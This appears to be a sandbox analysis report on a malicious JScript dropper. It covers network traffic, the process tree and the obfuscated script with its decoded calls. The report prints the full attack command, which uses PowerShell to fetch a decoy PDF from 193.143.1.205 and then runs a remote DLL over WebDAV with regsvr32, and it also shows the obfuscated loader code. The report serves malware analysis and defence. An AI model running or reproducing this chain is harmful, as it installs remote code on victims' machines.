Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:24:30.246850014 CET	53184	53	192.168.2.6	1.1.1.1
Jan 10, 2025 21:25:43.515213966 CET	53	58529	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:24:30.246850014 CET	192.168.2.6	1.1.1.1	0x6797	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:24:04.835093975 CET	1.1.1.1	192.168.2.6	0xf24	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:24:04.835093975 CET	1.1.1.1	192.168.2.6	0xf24	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:24:30.254523039 CET	1.1.1.1	192.168.2.6	0x6797	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:25:11.866848946 CET	1.1.1.1	192.168.2.6	0xd44c	No error (0)	g-bing-com.ax-0001.ax-msedge.net	ax-0001.ax-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 21:25:11.866848946 CET	1.1.1.1	192.168.2.6	0xd44c	No error (0)	ax-0001.ax-msedge.net		150.171.28.10	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:25:11.866848946 CET	1.1.1.1	192.168.2.6	0xd44c	No error (0)	ax-0001.ax-msedge.net		150.171.27.10	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49779	193.143.1.205	80	4928	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:24:14.742470980 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:24:15.581229925 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:24:15 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:24:15.581270933 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:24:15.581284046 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 21:24:15.581304073 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 21:24:15.581315994 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 10, 2025 21:24:15.581329107 CET	1120	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
Jan 10, 2025 21:24:15.581341028 CET	1236	IN	Data Raw: ff 6d 63 e8 87 79 0c 3d 3d e9 62 e8 a5 c4 d0 ee d8 d0 26 86 3e a4 18 6a 8e 0d 6d ff 89 c9 a6 dc 0d 9b fa e6 04 00 00 30 0d be 58 02 80 09 f9 fb 6d f8 2d fa 30 51 3d e4 f7 5b 56 7e a3 7e d1 52 a0 33 41 d8 7d 74 f1 49 71 f3 b2 77 51 27 fd 62 1d 46 Data Ascii: mcy==b&>jm0Xm-0Q=[V~~R3A}tIqwQ'bFMs>d,Qlsj>US*r5+'BV`}d9}sWy>YY~n,/bu,;mxP~6/V?RYJmchs`h'Nm--\hc(
Jan 10, 2025 21:24:15.581353903 CET	1116	IN	Data Raw: 3e 29 6b a6 fa b9 d7 7a df 7b e7 a4 bf 9f 7e 59 6a a3 52 45 73 49 34 8c 59 3e 83 16 86 f5 e4 6a 75 a2 3a e8 85 f3 aa e5 cb c8 25 51 53 69 73 13 97 85 ab 2a 8c d0 9a 41 d1 5c a5 35 13 73 66 90 b0 70 79 e6 da ca 97 97 2b 7a b9 82 56 d9 43 2b 4b 68 Data Ascii: >)kz{~YjREsI4Y>ju:%QSis*A\5sfpy+zVC+KhXs}}j6AC?P}Cf~<_~GB]N{;\|`L80MmbYCn1+=MCWbqC/tP)k6`\|o5%47;Vr\&
Jan 10, 2025 21:24:15.581367016 CET	1236	IN	Data Raw: 7a e3 71 e1 e9 5a ae 87 96 4b a8 ff 64 d1 2f bd fc 41 16 ca 58 85 25 b4 61 3b 36 25 34 3d 5d f2 5c 99 1f 09 90 9f 0a d0 3f 00 90 de f0 e9 99 cc bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 Data Ascii: zqZKd/AX%a;6%4=]\?Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:
Jan 10, 2025 21:24:15.581378937 CET	272	IN	Data Raw: c3 91 55 fd 7e f3 23 ab 7a 46 5b 5f 92 e4 3f 73 63 a9 39 af 53 8a e4 e8 60 a6 bc 8e 42 cf 66 86 3d 34 dc 78 5c 18 f2 1d 5d 10 ad ef b4 e6 66 9b db 53 2d 3d 94 e1 50 00 db b7 62 2e c1 8e ca 1e 18 1a c5 d0 bb 61 0c bd bc ec 0f 0c 4d 31 f4 e8 f6 f8 Data Ascii: U~#zF[_?sc9S`Bf=4x\]fS-=Pb.aM10C~1X\M86ts9L/`f,4;RB?M2iizR+r[&e@SoG~qRJ-&C%*%Ex9rdO_Fnm+8Rc\|%
Jan 10, 2025 21:24:15.638535976 CET	1236	IN	Data Raw: 5c 42 4d c9 92 98 25 01 ab f2 ac d5 f2 89 9c e1 82 5c 5d 42 d3 73 a5 17 44 7f 3f a4 77 44 fb 05 d1 a3 ef 34 53 de 17 ca ee e1 79 be e9 2d a7 5f 50 f3 f3 00 b9 19 ed 5c dd ae 39 af 33 7c 4a fd 08 fc db 21 e9 da 32 e4 9b 1b 81 37 1b 8f cd 90 6f ee Data Ascii: \BM%\]BsD?wD4Sy-_P\93\|J!27o31!`8?0=0cCr&wzb<0XM3wTCsc6ZsIifY;r\|MoMUtkpYLI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49795	193.143.1.205	8888	6520	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:24:17.204813957 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 21:24:18.022614002 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:24:17 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	1
Start time:	15:24:10
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\295963673155714664.js"
Imagebase:	0x7ff670f80000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	15:24:11
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll
Imagebase:	0x7ff63b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	15:24:11
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	15:24:12
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff6e3d50000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	15:24:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff651090000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	15:24:16
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff63b6a0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	15:24:16
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff65b410000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	15:24:16
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	15:24:17
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7403e0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	15:24:17
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1572,i,8482416695213853241,14148114775944833719,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff70df30000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function rixxucgcd() {	rixxucgcd() ➔ undefined
1	hnzwz = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var fdmdqsoz = this[wkwxws + sepudmn + irasigvdr + veasrloa + ooqvvqr + xhyptc + ozlbqea + ejvluijwv] ( this[lucjm + vuqtn + rjgehwdhp + irasigvdr + jcdzewi + wkwxws + ejvluijwv][oqcffdt + irasigvdr + ooqvvqr + sepudmn + ejvluijwv + ooqvvqr + nmjflqlt + tlgqante + bfawmif + ooqvvqr + rjgehwdhp + ejvluijwv] ( lucjm + vuqtn + rjgehwdhp + irasigvdr + jcdzewi + wkwxws + ejvluijwv + sjfexq + vuqtn + zwseig + ooqvvqr + izcir + izcir ) [xbqpx + ooqvvqr + hmnicqfm + xbqpx + ooqvvqr + sepudmn + zdxara] ( wkxppsw + uayspjh + anbqj + djjdcy + qofggbcfu + oqcffdt + pndctpw + xbqpx + xbqpx + anbqj + hszfwcbiy + qcqbef + qofggbcfu + pndctpw + vuqtn + anbqj + xbqpx + ammdo + oqcffdt + nsrsdmssg + ozlbqea + ejvluijwv + irasigvdr + nsrsdmssg + izcir + tqgruio + davvvb + sepudmn + ozlbqea + ooqvvqr + izcir + ammdo + xhyptc + ozlbqea + ejvluijwv + ooqvvqr + irasigvdr + ozlbqea + sepudmn + ejvluijwv + jcdzewi + nsrsdmssg + ozlbqea + sepudmn + izcir + ammdo + lhpzan + nsrsdmssg + rjgehwdhp + sepudmn + izcir + ooqvvqr ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( rfrxqpw = 0 ; rfrxqpw < hnzwz[izcir + ooqvvqr + ozlbqea + hmnicqfm + ejvluijwv + zwseig] ; ++ rfrxqpw )
4	{
5	if ( fdmdqsoz == hnzwz[rfrxqpw] )
6	{
7	fdmdqsoz = true;
8	break ;
9	}
10	}
11	if ( fdmdqsoz !== true )
12	this[lucjm + vuqtn + rjgehwdhp + irasigvdr + jcdzewi + wkwxws + ejvluijwv][fxblu + loabfbw + jcdzewi + ejvluijwv] ( );
13	this[lucjm + vuqtn + rjgehwdhp + irasigvdr + jcdzewi + wkwxws + ejvluijwv][oqcffdt + irasigvdr + ooqvvqr + sepudmn + ejvluijwv + ooqvvqr + nmjflqlt + tlgqante + bfawmif + ooqvvqr + rjgehwdhp + ejvluijwv] ( lucjm + vuqtn + rjgehwdhp + irasigvdr + jcdzewi + wkwxws + ejvluijwv + sjfexq + vuqtn + zwseig + ooqvvqr + izcir + izcir ) [irasigvdr + loabfbw + ozlbqea] ( rjgehwdhp + jjbzg + zdxara + tqgruio + damcf + rjgehwdhp + tqgruio + wkwxws + nsrsdmssg + wuqwhxylo + ooqvvqr + irasigvdr + veasrloa + zwseig + ooqvvqr + izcir + izcir + sjfexq + ooqvvqr + wdfvhyy + ooqvvqr + tqgruio + qgzen + oqcffdt + nsrsdmssg + jjbzg + jjbzg + sepudmn + ozlbqea + zdxara + tqgruio + sgrlbn + xhyptc + ozlbqea + hhgccb + nsrsdmssg + fmajey + ooqvvqr + qgzen + lucjm + ooqvvqr + tlgqante + xbqpx + ooqvvqr + ptsyhwa + loabfbw + ooqvvqr + veasrloa + ejvluijwv + tqgruio + qgzen + nmjflqlt + loabfbw + ejvluijwv + uvjwdpr + jcdzewi + izcir + ooqvvqr + tqgruio + rehcpav + ejvluijwv + ooqvvqr + jjbzg + wkwxws + rehcpav + ammdo + jcdzewi + ozlbqea + hhgccb + nsrsdmssg + jcdzewi + rjgehwdhp + ooqvvqr + sjfexq + wkwxws + zdxara + gxabegc + tqgruio + zwseig + ejvluijwv + ejvluijwv + wkwxws + lwlwyicj + damcf + damcf + azzygjw + ajsfdx + sdulnc + sjfexq + azzygjw + msugrok + sdulnc + sjfexq + azzygjw + sjfexq + vbymunyyj + hmpxmw + gnjaq + damcf + jcdzewi + ozlbqea + hhgccb + nsrsdmssg + jcdzewi + rjgehwdhp + ooqvvqr + sjfexq + wkwxws + zwseig + wkwxws + sgrlbn + yjnmno + yjnmno + veasrloa + ejvluijwv + sepudmn + irasigvdr + ejvluijwv + tqgruio + rehcpav + ejvluijwv + ooqvvqr + jjbzg + wkwxws + rehcpav + ammdo + jcdzewi + ozlbqea + hhgccb + nsrsdmssg + jcdzewi + rjgehwdhp + ooqvvqr + sjfexq + wkwxws + zdxara + gxabegc + yjnmno + yjnmno + rjgehwdhp + jjbzg + zdxara + tqgruio + damcf + rjgehwdhp + tqgruio + ozlbqea + ooqvvqr + ejvluijwv + tqgruio + loabfbw + veasrloa + ooqvvqr + tqgruio + ammdo + ammdo + azzygjw + ajsfdx + sdulnc + sjfexq + azzygjw + msugrok + sdulnc + sjfexq + azzygjw + sjfexq + vbymunyyj + hmpxmw + gnjaq + mumhpbny + xawaxrs + xawaxrs + xawaxrs + xawaxrs + ammdo + zdxara + sepudmn + hhgccb + wuqwhxylo + wuqwhxylo + wuqwhxylo + irasigvdr + nsrsdmssg + nsrsdmssg + ejvluijwv + ammdo + yjnmno + yjnmno + rjgehwdhp + jjbzg + zdxara + tqgruio + damcf + rjgehwdhp + tqgruio + irasigvdr + ooqvvqr + hmnicqfm + veasrloa + hhgccb + irasigvdr + sdulnc + vbymunyyj + tqgruio + damcf + veasrloa + tqgruio + ammdo + ammdo + azzygjw + ajsfdx + sdulnc + sjfexq + azzygjw + msugrok + sdulnc + sjfexq + azzygjw + sjfexq + vbymunyyj + hmpxmw + gnjaq + mumhpbny + xawaxrs + xawaxrs + xawaxrs + xawaxrs + ammdo + zdxara + sepudmn + hhgccb + wuqwhxylo + wuqwhxylo + wuqwhxylo + irasigvdr + nsrsdmssg + nsrsdmssg + ejvluijwv + ammdo + azzygjw + azzygjw + vbymunyyj + luuwbe + vbymunyyj + lggwgh + sdulnc + azzygjw + msugrok + azzygjw + luuwbe + hmpxmw + azzygjw + azzygjw + sjfexq + zdxara + izcir + izcir, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\11272631417011.dll",0,false) ➔ 0
14	}
15	irasigvdr = "D";
16	irasigvdr = "b";
17	irasigvdr = "L";
18	irasigvdr = "B";
19	irasigvdr = "T";
20	irasigvdr = "S";
21	irasigvdr = "Z";
22	irasigvdr = "F";
23	irasigvdr = "Q";
24	irasigvdr = "l";
25	irasigvdr = "V";
26	irasigvdr = "R";
27	irasigvdr = "y";
28	irasigvdr = "t";
29	irasigvdr = "g";
30	irasigvdr = "h";
31	irasigvdr = "D";
32	irasigvdr = "q";
33	irasigvdr = "x";
34	irasigvdr = "O";
35	irasigvdr = "u";
36	irasigvdr = "n";
37	irasigvdr = "A";
38	irasigvdr = "E";
39	irasigvdr = "A";
40	irasigvdr = "h";
41	irasigvdr = "r";
42	ammdo = "a";
43	ammdo = "k";
44	ammdo = "t";
45	ammdo = "W";
46	ammdo = "i";
47	ammdo = "P";
48	ammdo = "f";
49	ammdo = "e";
50	ammdo = "r";
51	ammdo = "n";
52	ammdo = "f";
53	ammdo = "u";
54	ammdo = "u";
55	ammdo = "B";
56	ammdo = "d";
57	ammdo = "n";
58	ammdo = "O";
59	ammdo = "v";
60	ammdo = "F";
61	ammdo = "I";
62	ammdo = "J";
63	ammdo = "r";
64	ammdo = "s";
65	ammdo = "u";
66	ammdo = "j";
67	ammdo = "V";
68	ammdo = "U";
69	ammdo = "G";
70	ammdo = "\\";
71	tlgqante = "d";
72	tlgqante = "e";
73	tlgqante = "n";
74	tlgqante = "H";
75	tlgqante = "Y";
76	tlgqante = "T";
77	tlgqante = "S";
78	tlgqante = "N";
79	tlgqante = "K";
80	tlgqante = "i";
81	tlgqante = "a";
82	tlgqante = "v";
83	tlgqante = "S";
84	tlgqante = "w";
85	tlgqante = "C";
86	tlgqante = "B";
87	tlgqante = "B";
88	tlgqante = "t";
89	tlgqante = "c";
90	tlgqante = "D";
91	tlgqante = "S";
92	tlgqante = "w";
93	tlgqante = "o";
94	tlgqante = "N";
95	tlgqante = "y";
96	tlgqante = "w";
97	tlgqante = "y";
98	tlgqante = "l";
99	tlgqante = "U";
100	tlgqante = "e";
101	tlgqante = "E";
102	tlgqante = "p";
103	tlgqante = "j";
104	tlgqante = "b";
105	tlgqante = "b";
106	lucjm = "u";
107	lucjm = "N";
108	lucjm = "h";
109	lucjm = "X";
110	lucjm = "Z";
111	lucjm = "L";
112	lucjm = "F";
113	lucjm = "s";
114	lucjm = "a";
115	lucjm = "l";
116	lucjm = "y";
117	lucjm = "l";
118	lucjm = "f";
119	lucjm = "q";
120	lucjm = "T";
121	lucjm = "K";
122	lucjm = "m";
123	lucjm = "F";
124	lucjm = "w";
125	lucjm = "l";
126	lucjm = "u";
127	lucjm = "w";
128	lucjm = "M";
129	lucjm = "x";
130	lucjm = "V";
131	lucjm = "W";
132	oqcffdt = "I";
133	oqcffdt = "c";
134	oqcffdt = "P";
135	oqcffdt = "V";
136	oqcffdt = "n";
137	oqcffdt = "x";
138	oqcffdt = "w";
139	oqcffdt = "w";
140	oqcffdt = "L";
141	oqcffdt = "Z";
142	oqcffdt = "d";
143	oqcffdt = "m";
144	oqcffdt = "i";
145	oqcffdt = "U";
146	oqcffdt = "N";
147	oqcffdt = "q";
148	oqcffdt = "b";
149	oqcffdt = "e";
150	oqcffdt = "M";
151	oqcffdt = "g";
152	oqcffdt = "Q";
153	oqcffdt = "u";
154	oqcffdt = "Z";
155	oqcffdt = "E";
156	oqcffdt = "H";
157	oqcffdt = "k";
158	oqcffdt = "Q";
159	oqcffdt = "C";
160	hszfwcbiy = "l";
161	hszfwcbiy = "h";
162	hszfwcbiy = "B";
163	hszfwcbiy = "M";
164	hszfwcbiy = "H";
165	hszfwcbiy = "a";
166	hszfwcbiy = "E";
167	hszfwcbiy = "y";
168	hszfwcbiy = "G";
169	hszfwcbiy = "a";
170	hszfwcbiy = "D";
171	hszfwcbiy = "r";
172	hszfwcbiy = "E";
173	hszfwcbiy = "I";
174	hszfwcbiy = "b";
175	hszfwcbiy = "q";
176	hszfwcbiy = "w";
177	hszfwcbiy = "E";
178	hszfwcbiy = "L";
179	hszfwcbiy = "H";
180	hszfwcbiy = "T";
181	hszfwcbiy = "x";
182	hszfwcbiy = "U";
183	hszfwcbiy = "R";
184	hszfwcbiy = "O";
185	hszfwcbiy = "j";
186	hszfwcbiy = "e";
187	hszfwcbiy = "w";
188	hszfwcbiy = "T";
189	hszfwcbiy = "l";
190	hszfwcbiy = "p";
191	hszfwcbiy = "Y";
192	hszfwcbiy = "q";
193	hszfwcbiy = "w";
194	hszfwcbiy = "q";
195	hszfwcbiy = "O";
196	hszfwcbiy = "U";
197	hszfwcbiy = "x";
198	hszfwcbiy = "m";
199	hszfwcbiy = "s";
200	hszfwcbiy = "N";
201	rehcpav = "W";
202	rehcpav = "G";
203	rehcpav = "s";
204	rehcpav = "Z";
205	rehcpav = "n";
